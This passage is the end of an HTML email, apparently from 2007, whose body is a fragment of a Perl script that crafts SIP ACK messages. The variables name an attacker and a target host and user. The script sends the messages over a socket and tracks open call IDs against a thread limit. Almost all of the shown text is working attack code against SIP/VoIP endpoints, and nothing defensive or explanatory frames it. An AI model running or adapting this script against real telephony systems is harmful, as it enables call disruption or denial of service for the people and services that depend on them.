lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'><o:p> </o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$msg = "ACK
sip:$targetIP SIP/2.0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Via: SIP/2.0/UDP
$attackerIP;branch=z9hG4bK1\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>From:
<sip:$attackerUser\@$attackerIP>;tag=1\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>To:
<sip:$targetUser\@$targetIP>$toTag\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>Call-ID:$callid\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>CSeq: $cseq ACK\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>Contact:
<sip:$attackerUser\@$attackerIP>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>Content-Length:
0\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>\r<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>";<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket->send($msg);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$i= 0;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>while ($i <
scalar(@calls)){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>if (@calls[$i] eq
$callid){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>delete
@calls[$i];<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>}else{<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=PT-BR style='font-size:10.0pt;font-family:"Courier New"'>$i += 1;<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>if
(scalar(@calls) ge $thread){<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>$socket->recv($text,1024,0);<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal style='text-autospace:none'><font size=2 face="Courier New"><span
lang=EN-GB style='font-size:10.0pt;font-family:"Courier New"'>}<o:p></o:p></span></font></p>
<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'><o:p> </o:p></span></font></p>
</div>
</body>
</html>
<BR>
<P><FONT SIZE=2>No virus found in this outgoing message.<BR>
Checked by AVG Free Edition.<BR>
Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: 04/12/2007 19:31<BR>
</FONT> </P>